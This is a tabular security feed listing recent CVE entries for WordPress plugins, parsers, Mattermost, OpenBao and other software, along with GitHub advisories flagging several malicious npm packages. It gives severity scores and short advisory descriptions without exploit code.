CVE-2026-9004	New	4.3	MEDI		0.002		The WP-CRM System – Manage Clients and Projects plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 3.4.6 via the 'contact_id' parameter. This makes it possible for authenticated attackers, with contributor-level access and above, to extract full names, email addresses, phone numbers, mobile numbers, fax numbers, and phy...
CVE-2026-91092	New	4.3	MEDI		0.002		The wpForo Forum plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 3.1.5. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to take over another guest author's forum post and modify its title...
CVE-2026-95396	New	4.3	MEDI				A vulnerability was identified in sfurning hosp_order up to 627f426331da8086ce8ff2017d65b1ddef384f8. Affected is an unknown function of the file HospitalController.java of the component Public Search Handlers. The manipulation of the argument Search leads to cross site scripting. The attack can be initiated remotely. The exploit is publicly available and might be used. The ...
CVE-2026-95666	New	4.3	MEDI				Mattermost versions 11.9.x <= 11.9.1, 11.8.x <= 11.8.5, 11.7.x <= 11.7.10, 11.10.x <= 11.10.1 fail to limit the length of the post ID array accepted by the bulk reactions endpoint which allows an authenticated user to cause excessive database load via a crafted request to {{POST /api/v4/posts/ids/reactions}}.. Mattermost Advisory ID: MMSA-2026-00771
CVE-2026-95828	New	4.3	MEDI				A vulnerability was determined in Mstfakts College-Management-System. This affects the function session_start of the file Front-end/server.php of the component Authentication. Executing a manipulation can lead to session fixation. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. This product takes the approach of rol...
CVE-2026-95957	New	4.3	MEDI				A vulnerability was found in SourceCodester Smart Attendance System with QR Code Scanner 1.0. This issue affects the function prepend of the file student_signup.php of the component Self-Registration. Performing a manipulation of the argument full_name results in cross site scripting. Remote exploitation of the attack is possible. The exploit has been made public and could b...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-96258	New	4.3	MEDI				A vulnerability has been found in onSite internet GmbH Auktion NG Auktionssoftware up to 20260722. This affects an unknown part of the file /forgotpasswd.html of the component Public Password Reset Endpoint. The manipulation of the argument email leads to cross site scripting. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and...
CVE-2026-65127	New	4.1	MEDI				NVIDIA Infrastructure Controller for Linux contains a vulnerability where an attacker could cause exposure of sensitive system information due to uncleared debug information. A successful exploit of this vulnerability might lead to information disclosure.
CVE-2026-77637	New	3.8	LOW			go:github.com/cloudreve/Cloudreve/v4	Cloudreve is a self-hosted file management and sharing system. Prior to 4.18.0, tool.GET("wopi") and tool.POST("mail") in routers/router.go inherit ScopeAdminRead but omit the RequiredScopes(types.ScopeAdminWrite) middleware applied to neighboring state-changing admin tool routes. An OAuth application or API key limited to Admin.Read can therefore probe configured WOPI servi...
CVE-2026-18173	New	3.7	LOW				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote attacker to obtain sensitive information due to improper enforcement of mutual TLS authentication.
CVE-2026-95818	New	3.6	LOW				A stack-based buffer overflow in the dynamic loader (ld.so) of the GNU C Library (glibc) versions 2.14 through 2.44 allows a local attacker to crash or corrupt the memory of setuid/setgid (AT_SECURE) programs. When such a program's DT_RPATH or DT_RUNPATH begins with \$ORIGIN and is followed by NUL or '/' the loader both reads past the end of the path buffer and writes past t...
CVE-2026-95657	New	3.5	LOW				A vulnerability was determined in dgtlmoon Changedetection.io up to 0.55.8. This issue affects the function setCurrentSelectedText of the file changedetectionio/static/js/visual-selector.js of the component Visual Selector. Executing a manipulation of the argument s can lead to cross site scripting. The attack can be launched remotely. The exploit has been publicly disclosed...
CVE-2026-92706	New	3.4	LOW				Dark Reader is an accessibility browser extension that makes web pages colors dark. Prior to 4.9.126, a website can cause the browser extension's image inversion pipeline to request an unauthenticated icon-like bitmap from a locally running web server when the resource uses a known public-like HTTPS URL and is detected as requiring inversion. This behavior can cross the webs...
CVE-2026-81881	New	3.3	LOW				radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2's Mach-O Swift field-metadata parser was vulnerable because a relative Swift field pointer could be lower than the field-metadata section base, making subtraction produce a negative logical index. The vulnerability is triggered by parsing Swift type and class metadata from ...
CVE-2026-81882	New	3.3	LOW				radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2's binary property-list Unicode parser was vulnerable because the binary-property-list Unicode parser underallocated an uninitialized UTF-8 destination and did not guarantee NUL termination. The vulnerability is triggered by running the explicit pFB or pFBj commands on untru...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-81883	New	3.3	LOW				radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2's Lua 5.3 bytecode function parser was vulnerable because the Lua 5.3 bytecode function parser read fixed function-metadata fields immediately after a function-name string without checking the remaining buffer length. The vulnerability is triggered by opening or inspecting ...
CVE-2026-95958	New	3.3	LOW				A security flaw has been discovered in JusticeRage Analyze 1.0.0. Impacted is the function PE::_parse_relocations of the file manape/pe.cpp of the component PE Parser. Performing a manipulation of the argument BlockSize results in integer underflow. The attack requires a local approach. The patch is named c372b6bbca9d8c63812be50596fefa4a79c65fd0. It is recommended to apply ...
CVE-2026-95270	New	2.9	LOW				A flaw has been found in dgtlmoon changedetection.io up to 0.60.7. The affected element is the function check_password of the file changedetectionio/flask_app.py of the component Hash Comparison. This manipulation of the argument Password causes observable timing discrepancy. The attack is possible to be carried out remotely. A high degree of complexity is needed for the att...
CVE-2026-95272	New	2.9	LOW				A vulnerability was found in dgtlmoon changedetection.io up to 0.60.7. This affects the function static_content of the file changedetectionio/flask_app.py of the component Screenshot Handler. Performing a manipulation of the argument filename results in path traversal. It is possible to initiate the attack remotely. The attack is considered to have high complexity. The explo...
CVE-2026-81884	New	2.5	LOW				radare2 is a UNIX-like reverse engineering framework and command-line toolset. Prior to 6.2.0, radare2's Mach-O LC_DATA_IN_CODE parser was vulnerable because the Mach-O LC_DATA_IN_CODE parser trusted dataoff and datasize and allowed a final partial record to be processed. The vulnerability is triggered by opening a crafted Mach-O file while the non-default bin.verbose option...
CVE-2026-62364	New	2.3	LOW			pip:wlc	wlc is a Weblate command-line client using Weblate's REST API. Prior to 2.0.1, automatically discovered configuration from .weblate, .weblate.ini, or weblate.ini can select the API URL while an unscoped API token is supplied through WLC_KEY or --key without a matching WLC_URL or --url. When wlc runs in an untrusted repository, pull request checkout, or directory with untrust...
CVE-2026-86698	New	2.3	LOW				Insufficient Session Expiration vulnerability in OAuth token issuance in hexpm hexpm allows a user whose organization membership or session has ended to keep reading the organization's private packages and their documentation tarballs via a retained refresh token. generate_refresh_token/4 in lib/hexpm/oauth/jwt.ex signs the refresh token with the same iss, aud and scope cla...
CVE-2026-76909	New	2.1	LOW			npm:unleash-server	Unleash is an open-source feature management platform. Prior to 8.0.3, the change-request approval email template at src/mailtemplates/requested-cr-approval/requested-cr-approval.html.mustache renders the user-controlled changeRequestTitle, requesterName, and requesterEmail values without HTML escaping, and sendRequestedCRApprovalEmail passes those values to Mustache renderi...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95273	New	2.1	LOW				A vulnerability was determined in dgtlmoon changedetection.io up to 0.60.7. This impacts the function static_content of the file changedetectionio/flask_app.py of the component visual_selector_data. Executing a manipulation of the argument filename can lead to path traversal. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be uti...
CVE-2026-95660	New	2.1	LOW				A security flaw has been discovered in Moonshot AI Kimi Code up to 0.31.0. The affected element is an unknown function of the file agent-core-v2/src/agent/mcp/config-loader.ts of the component MCP Configuration Loader. The manipulation results in os command injection. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks...
CVE-2026-95501	New	1.9	LOW				A vulnerability was found in mtrano APENCMS up to 6546096d354153309693efabb9a0d824628ed4f5. The affected element is the function eval of the file cms/weasel.php of the component Template Engine. The manipulation of the argument \$_CMS['site'] results in code injection. The attack may be performed from remote. The exploit has been made public and could be used. This product ut...
CVE-2022-4997	New						The jet-form-builder-stripe-gateway WordPress plugin before 1.1.0 does not sanitise and escape a payment token before using it in a SQL statement, allowing unauthenticated users to extract arbitrary data from the database, including password hashes.
CVE-2025-15696	New						The Real3D Flipbook WordPress plugin before 5.4 does not sanitize or escape several flipbook editor fields before rendering them back in the admin editor, allowing users with the Author role and above to inject arbitrary web scripts that execute in the browser of any user who later opens the affected flipbook for editing, including administrators.
CVE-2026-14321	New						The divi-dash WordPress plugin before 1.0.7 does not validate the source of the client IP address it uses for rate limiting and banning, allowing unauthenticated attackers to spoof arbitrary IP addresses in order to bypass rate limiting, ban chosen addresses from the feature, and grow a stored option without bound, resulting in denial of service.
CVE-2026-16264	New						The Newsletters WordPress plugin before 4.18.1 does not perform an ownership check on some of its subscriber management actions, and issues a management session to unauthenticated visitors on request, allowing attackers to read any subscriber's personal data and overwrite any subscriber's record including their email address.
CVE-2026-18364	New						The zportals WordPress plugin before 6.4.2 does not perform any capability or nonce check on several of its AJAX actions, allowing users with a subscriber-level account to modify the zportals WordPress plugin before 6.4.2's stored integration settings.
CVE-2026-18365	New						The zportals WordPress plugin before 6.4.2 does not perform any capability or nonce check on one of its AJAX actions, allowing users with a subscriber-level account to disclose the display name and email address of every registered user, including administrators.
CVE-2026-37603	New						Improper Restriction of Excessive Authentication Attempts in the administration login of pH7Software pH7Builder (pH7 Social Dating CMS) through 19.2.0. The CAPTCHA escalation flag is stored in the PHP session as captcha_admin_enabled and the CAPTCHA form element is only built when that flag is present, so a remote unauthenticated attacker who obtains a new session before eac...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-37604	New						pH7Software pH7Builder (pH7 Social Dating CMS) through 18.2.0 resolves the client IP address in _protected/framework/lp/lp.class.php from the HTTP_CLIENT_IP and HTTP_X_FORWARDED_FOR headers without verifying the request comes from a trusted proxy. Because the admin login attempt counter and lockout are keyed on this value, a remote unauthenticated attacker bypasses IP-based ...
CVE-2026-62282	New		MODE		0.003	PyPI:opencve	### Impact OpenCVE contains a Server-Side Request Forgery (SSRF) vulnerability in the notification testing functionality for both Webhook and Slack integrations. An authenticated user with permission to configure notification channels can trigger test requests to arbitrary HTTP(S) endpoints. Insufficient validation of target destinations allows requests to be sent to hosts...
CVE-2026-63131	New		MODE			Go:github.com/openbao/openbao	## Impact When a policy operator has written `capabilities = ["deny"]` on a path with a trailing wildcard but allowed a broader list operation (e.g., a `deny` on `secrets/metadata/restricted/*` but allowed `list` on `secrets/metadata/*`), OpenBao would incorrectly allow the operation. This did not impact other operation types. ## Patches This has been patched in OpenBao v...
CVE-2026-63132	New		CRIT			Go:github.com/openbao/openbao	### Impact When running in the highly privileged recovery mode, OpenBao was vulnerable to a timing attack against the single recovery token. This allowed an attacker to extract the recovery token and use it to perform operations against the OpenBao instance, including reading or modification of data. ### Patches This has been patched in OpenBao v2.6.0.
CVE-2026-75432	New						An issue in yaml-cpp 0.9.0 allows a remote attacker to obtain sensitive information via the src/scanner.cpp, Scanner::PopIndent(), and Scanner::PushIndentTo() components
CVE-2026-75799	New						The YAHMAN Add-ons WordPress plugin before 0.9.31 does not validate the type of the remote files it caches in a publicly accessible directory, allowing unauthenticated attackers to write arbitrary PHP files on the server and achieve RCE when the relevant feature is enabled.
CVE-2026-76819	New		HIGH			go:github.com/projectdiscovery/nuclei/v3	Rejected reason: Further research determined the issue results from a dependency.
CVE-2026-77285	New		LOW			Go:github.com/openbao/openbao	### Impact During certain error conditions, OpenBao Agent's exec rendering mode will incorrectly write secrets specified in `env_template` to stdout. This primarily happens when `num_retries` is met. This vulnerability is original to Vault and was reported via the OpenBao security mailing list. ### Patches This is addressed in OpenBao v2.6.0 GA.
CVE-2026-77528	New		MODE		0.004	PyPI:autobahn, PyPI:crossbar	### Summary Autobahn Python enforces `maxMessagePayloadSize` against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach `onMessage` even when the application configured a 128-byte ...
CVE-2026-77765	New						The Better Payment WordPress plugin before 2.3.4 does not validate the submitted payment amount server-side against the merchant's configured fixed price before building the gateway charge, allowing unauthenticated users to pay an arbitrary reduced amount for a fixed-price item.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-77766	New						The Directorist: AI-Powered Business Directory, Listings & Classified Ads WordPress plugin before 8.9.5 does not scope one of its REST collection endpoints to the requesting user, allowing users with a subscriber-level account to read every customer's order and payment records. Versions 8.8.1 to 8.9 are not affected. The endpoint was scoped correctly in 8.8.1 and the unscop...
CVE-2026-79311	New						webpy web.py 0.76 is vulnerable to Cross Site Scripting (XSS) via render_jinja.__init__().
CVE-2026-79314	New						A horizontal privilege escalation vulnerability exists in x-ui 0.3.2. An authenticated user can modify the inbound proxy configurations of other users, including remark, port, protocol, settings, enabled state, expiry time and traffic quota, by submitting a request referencing the target resource identifier. The update path fails to verify that the target resource belongs to...
CVE-2026-80342	New						The Payment Plugins for PayPal WooCommerce WordPress plugin before 2.0.27 does not verify that a PayPal order supplied in a payment request belongs to the WooCommerce order being paid unless that PayPal order has already been completed, allowing unauthenticated attackers to have another buyer's approved but uncaptured payment captured against an order of their own.
CVE-2026-81338	New						The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.50 does not properly sanitise and restrict HTML in user-submitted content before storing it and rendering it to other users, allowing users with subscriber-level accounts and above to perform stored HTML injection, such as embedding iframes, that can be leveraged for phishing and content spoofing against other...
CVE-2026-81339	New						The MasterStudy LMS WordPress Plugin WordPress plugin before 3.7.50 does not perform a per-object ownership check when returning a quiz attempt result, allowing any authenticated user with a minimal (subscriber) role to read other students' quiz grades, pass/fail status and attempt timestamps by referencing an attempt identifier belonging to another user.
CVE-2026-82843	New						The WP OAuth Server (Login with WordPress) WordPress plugin before 6.4.0 does not bind the OpenID Connect identity assertion it issues to the authorization grant being exchanged, returning instead the assertion belonging to whichever user authenticated most recently, which allows users with the Subscriber role and above to obtain a validly signed identity assertion for ano...
CVE-2026-83555	New						The Email Subscribers & Newsletters WordPress plugin before 5.9.35 does not verify the per-subscriber management token before changing a subscriber's subscription status, allowing unauthenticated users to force-unsubscribe or force-confirm an arbitrary subscriber whose email address they know.
CVE-2026-84026	New						The Directorist: AI-Powered Business Directory, Listings & Classified Ads WordPress plugin before 8.9.5 does not restrict access to a REST endpoint that returns user records, allowing unauthenticated attackers to read registered users' private contact details.
CVE-2026-84027	New						The Directorist: AI-Powered Business Directory, Listings & Classified Ads WordPress plugin before 8.9.5 does not check user capabilities when creating orders through its REST API, allowing users with the subscriber role and above to create paid order and payment records with arbitrary amounts and attribute them to other users.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-84046	New						The Directorist: AI-Powered Business Directory, Listings & Classified Ads WordPress plugin before 8.9.5 does not validate a user-supplied URL before fetching it server-side, allowing users with the subscriber role and above to make the server issue requests to internal addresses.
CVE-2026-84098	New						The Directorist: AI-Powered Business Directory, Listings & Classified Ads WordPress plugin before 8.9.5 does not properly verify a listing's ownership before deleting it, allowing authenticated attackers with Subscriber-level access and above to delete arbitrary listings, including ones belonging to other users. This is an incomplete fix of CVE-2023-1889 / CVE-2023-35052: a...
CVE-2026-84150	New						The Directorist: AI-Powered Business Directory, Listings & Classified Ads WordPress plugin before 8.9.5 does not verify that the target user of a REST route matches the authenticated caller before reading and modifying that user's saved favorites, allowing any authenticated user with subscriber-level access to view and alter another user's favorites.
CVE-2026-84168	New						The Easy Hide Login WordPress plugin before 1.7 does not fully enforce its hidden-login protection, allowing an unauthenticated attacker to reach the standard login page through certain password-reset request parameters and to recover the site's configured secret login slug from the returned page, defeating the Easy Hide Login WordPress plugin before 1.7's core protection.
CVE-2026-84741	New						The Events Calendar WordPress plugin before 6.17.5 does not check the post status of linked records before embedding their stored details into a public REST API response, allowing unauthenticated users to read the contents of records that have never been published.
CVE-2026-84742	New						The Events Calendar WordPress plugin before 6.17.5 does not check the capability required to publish content before creating or updating it through its REST API, allowing users with a role that cannot normally publish, such as contributor, to publish content directly and bypass editorial review.
CVE-2026-84743	New						The Events Calendar WordPress plugin before 6.17.5 does not perform a per-object capability check on one family of its REST write routes, allowing users with a low-privilege role such as contributor to modify, unpublish, trash and take ownership of records belonging to other users, including administrators.
CVE-2026-85006	New						The HappyAddons for Elementor WordPress plugin before 3.50.0 does not escape an icon value on one of its button widgets before outputting it inside an HTML attribute, allowing users with Contributor-level access and above to inject event-handler attributes that execute JavaScript in the browser of anyone who views the page, including higher-privileged users reviewing the co...
CVE-2026-86602	New						The WP Recipe Maker WordPress plugin before 10.8.2 does not perform any capability check in one of its AJAX actions, allowing any authenticated user, such as a subscriber, to read the full content of unpublished recipes.
CVE-2026-86603	New						The WP Recipe Maker WordPress plugin before 10.8.2 does not have any authorisation check in one of its AJAX actions, allowing any authenticated user, such as a subscriber, to retrieve the IDs and titles of other users' unpublished lists.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-86608	New						The WP Recipe Maker WordPress plugin before 10.8.2 does not have any authorisation check in one of its REST routes, nor does it bound what that route stores, allowing unauthenticated users to write unlimited data into any user's metadata and to permanently prevent that account, including an administrator's, from loading.
CVE-2026-86783	New						The Post Grid Gutenberg Blocks WordPress plugin before 5.0.41 does not perform an authorization or post-visibility check on a REST API route that returns the custom field keys of a given post, allowing unauthenticated users to disclose the custom field key names of arbitrary posts, including private, draft, pending, scheduled and password-protected posts.
CVE-2026-86785	New						The Social Commerce for WooCommerce WordPress plugin through 2.5.4 does not have authorisation checks on some of its REST API endpoints, allowing unauthenticated users to update Social Commerce for WooCommerce WordPress plugin through 2.5.4 configuration and product synchronisation state.
CVE-2026-86842	New						The Real3D Flipbook WordPress plugin before 5.4 does not perform capability checks on several of its authenticated flipbook management actions, allowing users with Author-level access and above to delete other users' flipbook content and overwrite administrator-only global settings, which can be leveraged to store JavaScript that executes in the context of any visitor or ad...
CVE-2026-87069	New						The Forminator Forms WordPress plugin before 1.57.2.1 does not perform a nonce, capability or ownership check before running a one-time payment-field migration during the construction of one of its admin screens, and that construction happens on every wp-admin request for any logged-in user. Any authenticated user, including a Subscriber with no permissions in the Forminator...
CVE-2026-87074	New						The Forminator Forms WordPress plugin before 1.57.2.1 does not bind its saved-draft notification to the visitor who created the draft, and takes both the recipient address and the link written into the message from the request, so unauthenticated visitors can make the site send a message from its own mail configuration to any address, carrying a link of their choosing insid...
CVE-2026-87979	New						The Paymob for WooCommerce WordPress plugin before 4.1.14 does not verify the request signature on the card-token branch of its payment webhook, allowing unauthenticated attackers to write a card-token record to any user's account and to enumerate registered accounts.
CVE-2026-87981	New						The Paymob for WooCommerce WordPress plugin before 4.1.14 does not perform a capability check on several admin AJAX actions that manage its payment-gateway configuration, allowing users with contributor-level access to delete, wipe, or modify that configuration, including the stored payment credentials.
CVE-2026-88339	New						A NULL pointer dereference vulnerability exists in the gf_sg_vrml_field_clone() function of GPAC 2d7da22e (26.08-DEV). The vulnerability occurs when cloning a PROTO default SFImage field with a NULL source pointer. An attacker can provide a specially crafted input file that triggers the condition, resulting in application crash and denial of service.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-88340	New						An invalid pointer release vulnerability exists in YARA 4.5.8 during deserialization of compiled .yrc rule files. The vulnerability is caused by insufficient validation of external-variable pointers, which may lead to invalid free in yr_rules_destroy() or wild pointer access in yr_object_create(). An attacker can provide a specially crafted .yrc file that causes memory corru...
CVE-2026-88341	New						A reachable assertion vulnerability exists in YARA 4.5.8 when loading crafted .yrc compiled rule files. An attacker can provide a malicious file with an invalid arena configuration (num_buffers=0) that triggers an assertion failure in yr_arena_get_ptr(), causing the application to terminate.
CVE-2026-88344	New						An out-of-bounds read vulnerability exists in the schema lexer of flatcc 4c3b999e. When an exact-length FlatBuffers schema buffer ends with a digit, the integer digit-scan loop in lex() advances past the end of the input buffer and dereferences the out-of-bounds pointer. A specially crafted schema can trigger a one-byte heap buffer over-read, resulting in application crash a...
CVE-2026-88345	New						An out-of-bounds read vulnerability exists in the schema lexer of flatcc 4c3b999e. When an exact-length FlatBuffers schema ends with an unterminated quotation mark, the C-string scanning logic in lex() dereferences the input pointer after it has reached the end of the buffer. A specially crafted schema can trigger a one-byte heap buffer over-read, resulting in application cr...
CVE-2026-88350	New						An integer overflow vulnerability exists in MPack 1.1.1 in mpack_node_cstr_alloc() and mpack_node_utf8_cstr_alloc().
CVE-2026-88414	New						MCMS 6.1.1 through 6.2.1 contains a SQL injection vulnerability in the PageAction.verify endpoint (GET /ms/mdiy/page/verify.do).
CVE-2026-88415	New						MCMS 6.1.1 through 6.2.1 is vulnerable to stored Cross-Site Scripting (XSS). The article content field 'contentDetails' is excluded from the global XSS filter.
CVE-2026-88416	New						MCMS 6.1.1 through 6.2.1 has a SQL injection vulnerability in the custom model/form import feature.
CVE-2026-88418	New						CMSimple 5.24 ships with CSRF protection disabled by default, which turns csrfProtection() into a no-op on every state-changing admin request, and it does not send the csrf_token hidden field in admin forms. Because administrator authentication is cookie-only and no CSRF token is enforced, an unauthenticated attacker can induce a logged-in administrator's browser to issue a ...
CVE-2026-88624	New						Missing path validation in the Worktree.remove component of openCode v1.18.26 allows attackers to execute arbitrary recursive directory deletion via a crafted payload.
CVE-2026-88929	New						The Product Badge, Label, Countdown Timer for WooCommerce WordPress plugin before 7.5.2 does not check whether a product is published before returning its details to unauthenticated users, allowing them to read the title, description and price of draft, pending and private products.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-88997	New						The JSM Show Post Metadata WordPress plugin before 4.9.1 does not properly escape a post meta key before outputting it into an inline event-handler attribute in an admin-facing meta box, allowing users with contributor-level access and above to inject arbitrary JavaScript that executes in the session of a higher-privileged user who reviews the affected post.
CVE-2026-89019	New						Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.
CVE-2026-89281	New						The Apache Lounge Windows distribution of Apache HTTP Server build contains a hardcoded configuration path vulnerability within openssl.cnf path that can allow local code execution.
CVE-2026-89282	New						The Apache Lounge Windows distribution of Apache HTTP Server build contains an insecure installation directory permissions vulnerability through its default install directory on C:\, which inherits write access for Authenticated Users.
CVE-2026-89331	New						The FluentBoards WordPress plugin before 2.1.0 does not properly restrict the member data returned by its public, token-shared board feature, allowing unauthenticated users to disclose the email addresses of a shared board's members, typically including administrators.
CVE-2026-90951	New						The Paid Membership Subscriptions WordPress plugin before 3.1.0 does not bind one of its unauthenticated payment actions to the requesting user, allowing someone who holds another member's in-flight payment identifier to delete that member's checkout state.
CVE-2026-90985	New						The WPC Smart Compare for WooCommerce WordPress plugin before 6.6.1 does not apply WordPress's post-password protection when returning product content through its comparison handler, allowing unauthenticated users to read the description of password-protected products.
CVE-2026-91024	New						The Booking Manager WordPress plugin before 2.1.21 does not sanitize and escape values taken from a fetched external iCalendar feed before using them in a SQL query, allowing authenticated users with Author-level access and above to perform SQL injection attacks by importing a feed they control.
CVE-2026-91025	New						The Booking Manager WordPress plugin before 2.1.21 does not verify that a request to modify a user's Booking Manager WordPress plugin before 2.1.21-specific settings targets the requesting user's own account, allowing any authenticated user with subscriber-level access and above to create or overwrite the Booking Manager WordPress plugin before 2.1.21's per-user settings ...
CVE-2026-91073	New						The Subscribe Forms WordPress plugin before 1.6.3 does not sanitise and escape one of its form settings before outputting it in a page, allowing authenticated users with the Author role and above to perform Stored Cross-Site Scripting attacks that execute in the browser of any visitor who views a page embedding the form, including logged-out visitors and administrators.
CVE-2026-91077	New						The Event Booking Manager for WooCommerce WordPress plugin before 5.7.3 does not restrict its event listing query to events the requesting user is permitted to read, so users with contributor-level access and above can retrieve other authors' private, draft and trashed events, together with event detail the standard listing does not show them. This discloses private events ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93507	New						The WC Fields Factory WordPress plugin before 4.1.11 does not properly restrict access to, or verify a nonce for, a post-cloning action, allowing Contributor-level users and above to duplicate arbitrary posts of any type or status, including other users' private or draft content, and gain read access to the resulting copy.
CVE-2026-93508	New						The WC Fields Factory WordPress plugin before 4.1.11 does not properly restrict access to its field-management AJAX action, allowing authenticated users with Subscriber-level access and above to create, modify and delete arbitrary post meta on any post, including WooCommerce products, regardless of ownership, and to manipulate stored pricing rules on a product to reduce its ...
CVE-2026-93510	New						The Points and Rewards for WooCommerce WordPress plugin before 2.10.4 does not validate the claimed reward amount or restrict who can call its Win Wheel claim handler, allowing authenticated users, Subscriber and above, to credit their own account with an arbitrary and unlimited amount of loyalty points and, where a companion wallet Points and Rewards for WooCommerce WordPre...
CVE-2026-93511	New						The Premium Packages WordPress plugin before 7.2.1 does not verify PayPal's webhook signature before processing payment and subscription notifications, allowing unauthenticated attackers to forge payment confirmations and subscription-cancellation events against any order whose transaction id they know.
CVE-2026-93528	New						The NP Quote Request for WooCommerce WordPress plugin before 2.4.16 does not verify order ownership before rendering an order's details, allowing unauthenticated attackers to view another customer's order using the order's key.
CVE-2026-94574	New						A local cross-user code execution vulnerability exists in GNU wget (Windows builds from eternallybored.org) due to a hardcoded configuration file path (C:\msys64) that is writable by unprivileged users, allowing for arbitrary code execution via the use_askpass directive, potentially allowing local privilege escalation.
GHSA-299v-cwvm-ffx4	New					npm:fdhcxvnwhjiofv	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a7125babb23f8900d46ed2c500ef373d4de463c6260810c17719922435bdac54) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (c7d539baee28b8359952af3801fe5487d11e1818af8f61bc3b23e5b6f8dbf8b1) Any computer that has this ...
GHSA-2g29-f3qp-c7gf	New					npm:node-env-buffer	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0011ed2fd25fdc35a89f50c2eb1d7d895210908c637be0fcaca077d032baaee6) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (3d74467ceaa8b194c24cb9933f21b1c22e019da88689df749cc537953d92c12c) Any computer that has this ...
GHSA-2jrv-g43f-qm7f	New					npm:@wizloft/harness-file-providers	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (0d9b1885f1c19ec77095cbcbcd09b62c99c58325bcf43c71a6438c83528bc396) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
GHSA-35mc-7f44-62rg	New					npm:caphsmgiwy	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2be9097447a7359110650f7119fc6b9265bba96bea6a4814d5534e6cf4a4bd59) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (b65a6e5f7d0f507abfa1ffa1b701d3d406c74308197c8ced6e9332804391e8c5) Any computer that has this ...
GHSA-3mjl-625p-wvhf	New					npm:@wizloft/harness-memory	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (f75e92a7cec5020ee919ce491b7a30dfc43594192c2f6fc5aa18d42cd3bed75f) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-3qx9-8g8p-4mcj	New					npm:@test1230504/probe-7f3k2m-utills	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (941e9925e20dd460b4dc52c0981a140d58ed376e41b15457cbd6bcd5028ba0d8) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-3r7g-wjh4-5228	New					npm:cloudndmcedu	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (52078708a6f96873c6cd92997b0c1bc150b94ea6f0346a224a4ae7c82511be7e) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (b44ae5c3207746a2ed331ad486b041c5afbc48973c84dbdda09fb1d50a88e0a4) Any computer that has this ...
GHSA-55vw-cpj6-w7w8	New					npm:some-tool-package	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9e053568381d2b1cf3b7e62e3152651c843cfc3e32f056574d7a64dae4531b2e) The package was found to contain malicious code or consuming dependency that contains malicious code ## Source: ghsa-malware (593b5f0976942b09f1670820499f618bb01da98dbb9f6e34473ea998bfb1a89c) Any computer that has this ...
GHSA-64w5-qg43-54g7	New					npm:@wizloft/harness-plugin-file-memory	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (5791ca0cb9f6e9f35dbdec168cfa44f58498fe5559a99ba8d46dd5f28eff38c7) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-67q5-w9wg-mvvv	New					npm:tuxcmdfhjkw	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (ed907ab556a271a706db9227bfa0cd751f7a3dae9005bca41167ffdfc8be75b8) The package's only shipped file is an HTML page that mimics a Cloudflare 'Just a moment...' verification screen and embeds obfuscator.io-style JavaScript (`_0xNNNN` identifiers, string-array lookups) that runtime-constru...
GHSA-6866-wx9h-j2rh	New					npm:@wizloft/harness-plugin-file-events	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (7f0ed60b35df86f2e566ba9ced2508d217d9dd009210bbf0e6cfea17520930ec) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
